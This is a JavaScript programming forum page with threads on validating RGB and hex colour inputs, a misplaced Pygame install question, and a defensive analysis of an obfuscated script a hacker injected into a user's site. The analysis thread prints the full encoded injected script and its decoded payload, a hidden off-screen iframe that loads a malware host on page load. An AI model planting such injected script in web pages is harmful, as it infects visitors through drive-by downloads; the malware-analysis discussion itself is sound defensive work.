JavaScript

Re: Evalulating and passing RGB values from keydown

2-Aug-12 8:12

I'm working on a color picker, to alter the canvas color of images uploaded.

So I have a manual RGB input, 3 textboxes

I wrote a program to evaulate the keydown, and can capture BS, DEL 0-9, but I also need to check that the whole number is 0-255.

I'd like to do it in one shot, but I'm not sure if it's possible, and where to implement it.

Just looking for suggestions.

$('[id*="_txt_Red"]').keydown(function (e) {
  return evaulateKeyDown_RGB(e);
});

function evaulateKeyDown_RGB(e) {

    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39 
    var charCode = e.keyCode || e.which;
    //alert(charCode);
    
    // Normal Keyboard
    if (charCode == 8 || charCode == 37 || charCode == 39 || charCode == 46 || ( charCode >= 48 && charCode <= 57 )) {
        return true;
    }
    // Numeric Keypad    
    else if (charCode >= 96 && charCode <= 105) {
        return true;
    }
    else {
        return false;
    }
}

enhzflep2-Aug-12 9:58

Re: Evalulating and passing RGB values from keydown

2-Aug-12 9:58

Rather than evaluate the keystrokes themselves, I'd probably be tempted to try to just evaluate the text in an input control. You could create a validation function that was called in response to key-up/mouse-up/onchange events (not sure if mouse-up will catch pasting with the mouse)

Let's say you've got a string that represents the number 255.

JavaScript

var myStr = '255';
var myInt = parseInt(myStr);

if ((myInt != NaN) && (myInt < 256))
{
  doSomething();
}

else
  alert("Error\nYou must enter a number between 0 and 255");

If I've misunderstood your needs, sorry!
(still jealous you were at Xerox at such a pivotal time in PC history)

jkirkerx2-Aug-12 11:54

Re: Evalulating and passing RGB values from keydown

2-Aug-12 11:54

You right on, and I have stuff for onChange binded to a function.

So I'm using 2 events then, to separate them.

(I was too young to translate it into wealth, and on the wrong end of CA.)

BobJanova5-Aug-12 23:31

BobJanova

5-Aug-12 23:31

If you're going to do live validation, make sure it's not annoying ... i.e. make sure you can delete everything and start typing, that you can paste into it, and that normal patterns of modification still work. For example to change 192 to 196, people might go to the end and press 'backspace, 6' (which would be fine), or they might go in front of the 2 and type '6, delete' which would produce an intermediate of 1962.

Generally you should only adjust the display to indicate a valid or invalid value, instead of actually rejecting keystrokes, if that character can ever be part of a valid input.

Re: Evalulating and passing RGB values from keydown

jkirkerx6-Aug-12 7:22

Re: Evalulating and passing RGB values from keydown

6-Aug-12 7:22

I found that out on testing, what a mess. So far so good, but I need to go back and fix control v and control c, for pasting in values.

So I did filter the keystokes, and then ran the validation on the update image button, when you work with rgb, I update the hex, update the hex, I update the rgb, and the sample color swatch.

Ended up with this so far, without the copy and paste functionality. I need to go back and add that. Still testing the full functionality, and taking note of any errors.

My validate_HEX is not working right, I need to check the regex, or my use of .test is not correct.

Tell me what you think. I'm getting better at writing javascript.

Oh, Thanks for your comment, I pretty much got crickets on this one.

function evaulateKeyDown_RGB(e, targetObj) {

    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39
    var charArray = [8, 9, 17, 18, 37, 39, 46, 48, 49, 50, 51, 52, 53, 54,
    55, 56, 57, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105];
    
    var charCode = parseInt(e.keyCode || e.which);        
    for (var i = 0; i < charArray.length; i++) {
        if ((charCode != NaN) && (charArray[i] == charCode)) {
           return true
        }
    }
    return false;   
}

function evaulateKeyDown_HEX(e, targetObj) {
    
    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39
    var charArray = [8, 9, 17, 18, 37, 39, 46, 65, 66,
    67, 68, 69, 70, 97, 98, 99, 100, 101, 102,
    48, 49, 50, 51, 52, 53, 54, 55, 56, 57,
    96, 97, 98, 99, 100, 101, 102, 103, 104, 105];
   
    var charCode = parseInt(e.keyCode || e.which);
    for (var i = 0; i < charArray.length; i++) {
        if ((charCode != NaN) && (charArray[i] == charCode)) {
            return true
        }
    }
    return false;    
}

function validate_RGB(targetObj) {

    // Check if the whole value is 0-255
    var charFlag = false;
    var value = parseInt(targetObj.val());
    if ((value != NaN) && (value <= 255)) {
        targetObj.css("border", "solid 1px rgb(140,140,140)"); 
        return true;
    }
    else {
        targetObj.focus().select();
        targetObj.css("border", "solid 1px rgb(255,0,0)");
        return false;      
    }
}

function validate_HEX(targetObj) {

    var hValue = targetObj.val();
    var regColorcode = /^(#)?([0-9a-fA-F]{3})([0-9a-fA-F]{3})?$/;
    if (regColorcode.test("#"+hValue) == false) {
        targetObj.focus().select();
        targetObj.css("border", "solid 1px rgb(255,0,0)");
        return false;
    }
    else {
        targetObj.css("border", "solid 1px rgb(140,140,140)"); 
        return true;
    }
}

BobJanova7-Aug-12 0:11

BobJanova

7-Aug-12 0:11

The regex looks okay. What's .val()? Text boxes have a .value in normal DOM object speak.

Installing Pygame

johtnkucz30-Jul-12 4:36

johtnkucz

30-Jul-12 4:36

Hey mates, have been trying to install pygame and can't get it to install. It and it's corresponding 3.2 python installs appropriately but 'import pygame' doesn't recognize the module. Have tinkered with 32 and 64-bit versions.

>>>>
Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import pygame
ImportError: No module named pygame
>>>>>>

Is the error message. Have tried to install this on linux and windows 7...getting very vexed at seeing that error message. I NEED to install pygame. Any assistance with this would help. Thanks.

modified 30-Jul-12 10:45am.

johtnkucz30-Jul-12 4:45

johtnkucz

30-Jul-12 4:45

actually I might be able to accomplishe some gui things with tkinter but want to install pygame.

Richard MacCutchan30-Jul-12 6:14

Richard MacCutchan

30-Jul-12 6:14

Is this anything to do with Javascript?

One of these days I'm going to think of a really clever signature.

Sandeep Mewara31-Jul-12 8:56

Sandeep Mewara

31-Jul-12 8:56

Richard MacCutchan wrote:
Is this anything to do with Javascript?

Yep! Looks like Pygame is made on top of GameJs (a JavaScript game engine)
Some detail here: http://gamejs.org/[^]

Though, what OP has asked does not connect to a JavaScript question from any angle. D'Oh! | :doh:

Sandeep Mewara
[My last article]: Server side Delimiters in ASP.NET[^]

Analysing an obfuscated malware script

Richard MacCutchan31-Jul-12 22:32

Richard MacCutchan

31-Jul-12 22:32

johtnkucz wrote:
No module named pygame

That looks like a clear message.

One of these days I'm going to think of a really clever signature.

Bernhard Hiller29-Jul-12 21:48

Bernhard Hiller

29-Jul-12 21:48

A hacker added a JavaScript to many html pages of my site. Just after the body-tag he added:

HTML

<!--c3284d--><script>try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,10 0,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94, 101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,101,89,112,36,86,103,102,90,101,90,56,95,95, 97,91,30,94,93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,102,100,97,1 02,87,89,23,51,21,93,104,98,56,90,89,50,3,-1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;288-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);</script><!--/c3284d-->

It somehow directs the browser to a site where the hacker deposited some malware for automatic download.
But I do not understand the details.
try{1-prototype;}catch(asd){x=2;} somehow sets x to 2 - but how does that happen?
v="eva";}if(v)e=window[v+"l"]; somehow creates an eval statement.
f (and then also w) contain an encrypted statement.
In the for loop, the statement gets decrypted by s=s+fromCharCode((w[j]*1+(9+eval("j%3"))));
and finally executed by e(s);.
Since I hardly ever write JavaScript, I fail to understand the details.
I hope that you have fun with analysing that script, and that you can share some hints on its function.

Richard MacCutchan29-Jul-12 22:00

Richard MacCutchan

29-Jul-12 22:00

The original javascript is the long array of bytes, written as numbers so it is not easy to read it. The part of the code that gets executed just converts the array back to its original script text and executes it. You need to take actions protect your website from this sort of malware injection.

One of these days I'm going to think of a really clever signature.

enhzflep30-Jul-12 1:43

30-Jul-12 1:43

With the first bit, the try statement - it's code designed to fail, so the catch blocks steps in and sets x = 2.

After I pasted the code, there appeared to be two commas missing from between elements in the array - either that or 2 numbers were broken in half. So I'm still not sure that I've guessed correctly.

After some mind-numbing tracing, I got to a situation where the s in the e(s) statement is equal to:

JavaScript

"
function frmAdd() {

var ifrm = document.createElement('iframe');

ifrm.style.position='absolute';

ifrm.style.top='-999em';

ifrm.style.left='-999e
(9ggsk/tpd!>! iurq;-0msoed.dpfbrjpl/ec0n_jo,qin#<jdsn,je>!%gskJe%<epavncou,cpbz/_qqcoeAijje)ggsk*<~9ujobpx,poj
`c"<hqlCcc="

Which looks like junk to me, so I'll try again to paste the array correctly.

Wouldn't you just love to throttle the sod that did this.. Mad | :mad:

EDIT: Had another try - I had inserted extra commas the first time round - this was clearly wrong. This time I removed the spaces, wrapped it into a funtion and removed the final eval, outputting instead to the console. Here's the re-written code and the final payload. Enjoy!

JavaScript

function injectedCrap()
{
try{1-prototype;}catch(asd){x=2;}
if(x)
{	
	fr="fromChar";
	f=[ 4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,
		29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,
		90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,
		97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,
		3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,
		94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,
		50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,
		102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,
		37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,
		90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,
		23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,
		92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94,
		101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,
		98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,
		101,89,112,36,86,103,102,90,101,90,56,95,95,97,91,30,94,
		93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,
		102,100,97,102,87,89,23,51,21,93,104,98,56,90,89,50,3,-1 ];
	v="eva";
}
if(v)
	e=window[v+"l"];
w=f;
s=[];
r=String;
z=((e)?"Code":"");
zx=fr+z;
for(i=0;288-5+5-i>0;i+=1)
{
	j=i;
	if(e)
		s=s+r[zx]((w[j]*1+(9+e("j%3"))));
}

//if(x&&f&&012===10)e(s);
console.log(s);
}

Which, when all is done and dusted evaluates to this nasty piece of work:

JavaScript

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://lundf-creation.de/main.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Dirty elephanters!

modified 30-Jul-12 7:59am.

Bernhard Hiller30-Jul-12 4:48

Bernhard Hiller

30-Jul-12 4:48

Great! Thanks a lot.

enhzflep30-Jul-12 23:41

30-Jul-12 23:41

Pleasure.

Thanks for something interesting to chew on.. Thumbs Up | :thumbsup:

Re: Analysing an obfuscated malware script [edit]

Bernhard Hiller31-Jul-12 2:26

Bernhard Hiller

31-Jul-12 2:26

In case that the hacker comes back (I hope that won't happen...), I'll post his new creation here.
Now I understand how drive-by infections work: open a "harmless" page with the injected script, an iframe is opened outside the visible area, and from there some malware gets installed. Really nice. Fortunately my computer was found clean after a 30 hours scan with 4 virus scanners.

Lutosław1-Jun-13 4:10

Lutosław

1-Jun-13 4:10

Bernhard Hiller wrote:
from there some malware gets installed

Doesn't the browser ask before downloading/launching ANY file or extension? I always believed that I'm pretty safe from malware unless I click "downlad and run". Users get infected due to their gullibility ("scan your computer for problems and give us your credit card number by the way. And a phone number, just in case.") and lack of experience.
Right?

[edit] like this: Yu0Tube - Kareena Kapoor slapped a senior news reporter in a meeting [^] (quite smart, spotted in a commantary on "real" YouTube, but blocking all links is a bit unrealistic)

Greetings - Jacek

jkirkerx30-Jul-12 11:19

30-Jul-12 11:19

nice job!

That's pretty crafty there, on the original Javascript, an iFrame off the browser window, hidden from view.

Your code is crafty too.

enhzflep30-Jul-12 23:40

30-Jul-12 23:40

Thanks Jim. Smile | :)

I've a 20 year history of reversing code - I taught myself to program in x86 ASM during high-school by dissasembling whatever programs I had to hand.

It's just a matter of experience/exposure, I guess.

jkirkerx31-Jul-12 8:12

31-Jul-12 8:12

So you must be around 48,

I took computer class in summer school of 1974 with wood shop. We had a Western Electric teletype machine, that stored our programs on yellow paper tape with rubber bands.

So we wrote programs in basic on paper, and typed them in, and ran them on a Sigma 7 Mainframe at UC Irvine.

In high school, I dropped computer class and took surf class instead, counted as a PE credit, should of stuck with it. Oh well.

Didn't pick up computers again till 1986, bought a IBM XT, but didn't know what to do with it, so I wrote programs in basic, and ran them off floppy disks. Bought a hard drive 2 years later.

I can reverse engineer a lot of things, but not code down to that level.

enhzflep31-Jul-12 9:57